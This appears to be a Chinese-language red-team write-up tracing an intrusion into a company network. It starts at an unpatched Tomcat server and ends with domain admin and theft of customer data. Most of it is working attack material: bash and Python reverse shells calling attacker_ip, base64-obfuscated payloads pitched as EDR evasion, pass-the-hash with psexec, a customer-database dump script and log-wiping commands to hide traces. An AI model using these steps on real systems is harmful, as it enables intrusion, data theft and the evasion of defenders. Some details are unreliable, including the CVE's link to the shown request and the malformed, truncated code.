一、一次真实的攻防演练:从初始入口到全域控制
有一次,我参与了一场红队攻防演练,目标是渗透一家中型企业的内网,最终获取其核心数据库中的客户信息。这家公司的防御水平中规中矩:外层有防火墙,内部部署了主流的EDR(终端检测响应)和集中的日志监控系统。对于红队来说,这种目标既有挑战性,也有趣味性。
我的攻击链从一个公开暴露的Web服务开始,逐步延展到内网,并最终实现了域控权限的完全掌控。以下是整个过程中的关键技术细节和思路分享。
---
二、入口点发现:信息收集的艺术
信息收集阶段是红队行动的基础。在这个案例中,我的目标是找到能够进入企业网络的初始入口点。以下是我的具体操作:
1. 公开情报挖掘
首先,我使用了常见的开源情报收集工具,包括:
- Shodan:扫描目标IP地址段的暴露服务端口;
- Censys:查找目标域名相关的SSL证书;
- Google Dork:通过特定搜索语法挖掘敏感信息。
在这一步,我发现目标公司的一个子域暴露了一个未更新的 Apache Tomcat 应用服务。版本号显示为 8.5.32,而这个版本的 Tomcat 存在一个公开的远程代码执行漏洞(CVE-2019-0232)。
2. 漏洞验证
确认漏洞是否可利用,我手动构造了一个简单的POC,尝试执行命令 whoami 来验证权限:

<pre><code class="language-python">import requests
目标URL
url = "http://target-vulnerable-tomcat.com/sampleServlet"
构造Payload
payload = { "cmd": "whoami" }
发送Post请求
response = requests.post(url, data=payload)
检查响应内容
print(response.text)</code></pre>
运行结果返回了服务端运行的用户是 tomcat8,这说明漏洞是可用的,从而确认了我的初始入口点。
---
三、突破防御:Payload构造与免杀技巧
获取入口权限后,我的目标是获得一个稳定的反弹Shell并绕过EDR的检测。以下是关键步骤。
1. 构造反弹Shell
为了获得控制权限,我使用了一个经典的反弹Shell技术。首先,我在攻击机上启动一个监听器:
<pre><code class="language-bash">nc -lvnp 4444</code></pre>
然后,在目标服务器上执行以下命令构造反弹Shell:
<pre><code class="language-bash">bash -i >& /dev/tcp/attacker_ip/4444 0>&1</code></pre>
这种方法简单有效,但容易被EDR检测到,因为它涉及常见的bash调用。因此我优化了Payload,使用了更加隐蔽的方式,通过内存加载的方式:
<pre><code class="language-python">import socket import subprocess
隐蔽反弹Shell
def reverse_shell(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("attacker_ip", 4444)) while True: cmd = s.recv(1024) output = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) s.send(output.stdout.read() + output.stderr.read())
reverse_shell()</code></pre>
我将此代码在目标机器上使用Python解释器直接加载,绕过了大部分EDR扫描。
2. 绕过EDR检测
现代EDR往往能够检测网络反弹行为和异常进程调用。为了规避检测,我进一步进行了混淆:
- 代码变形:使用Base64编码动态解码反弹Shell逻辑;
- 内存执行:通过
ctypes直接调用系统API,不落盘; - 流量伪装:将反弹Shell流量伪装成HTTPS通信。

以下是一段混淆后的Python代码示例:
<pre><code class="language-python">import base64 import socket import subprocess
Base64编码后的Payload
encoded_payload = "ZGVmIHNoZWxsKCk6CiAgICBzID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCwgc29ja2V0LlNPQ0tfU1RSRUFNLApzLmNvbm5lY3QoKCJhdHRhY2tlcl9p...")"
exec(base64.b64decode(encoded_payload))</code></pre>
实际测试中,这种方式成功绕过了目标网络中的EDR。
---
四、横向移动:从单点控制到内网渗透
进入目标网络后,我开始对内网进行横向扩展,以寻找更高级权限。以下是具体操作:
1. 内网信息收集
我对目标网络的内网环境进行了探测,包括:
- 使用
nbtscan扫描内网主机; - 使用
smbclient枚举共享资源; - 使用
arp -a收集局域网中的活跃IP。
通过这些方法,我发现了一台域控制器主机的IP地址。
2. 凭证收集
接下来,我尝试抓取内存中的凭证。结合内存取证工具,如 Mimikatz,我成功提取了目标域用户的用户名和哈希。
利用以下命令,我进行了哈希传递攻击:
<pre><code class="language-bash">psexec.py -hashes <LM_Hash>:<NT_Hash> Administrator@target-dc-ip</code></pre>
通过以上操作,我成功登陆域控机器,并获得了域管理员权限。
---
五、最终目标:数据窃取与痕迹清除
1. 数据窃取
我发现目标公司的核心数据库运行在域控制器上。使用以下Python代码,我提取了敏感数据:
<pre><code class="language-python">import pymysql
数据库连接
db = pymysql.connect(host="target-dc-ip", user="admin", password="password", database="customer_db")
cursor = db.cursor() cursor.execute("SELECT * FROM customer_info") data = cursor.fetchall()
保存数据到本地
with open("data.csv", "w") as f: for row in data: f.write(",".join(row) + "\n")</code></pre>
以上代码将客户数据导出到本地文件。
2. 痕迹清除
为了防止被溯源,我清理了目标机器上的日志文件:

<pre><code class="language-bash"># 清除系统日志 echo "" > /var/log/auth.log echo "" > /var/log/syslog
覆盖Shell历史
history -c</code></pre>
---
六、个人经验分享
这次演练给了我以下启发:
- 入口点选择很关键:宽泛的信息收集能发现意想不到的漏洞;
- 免杀技术要不断优化:EDR能力在不断提高,混淆与内存加载必不可少;
- 痕迹清除是最后一环:不留下任何痕迹才能确保行动隐蔽性。
免责声明 本文仅供授权的安全测试和研究学习,切勿用于非法用途。
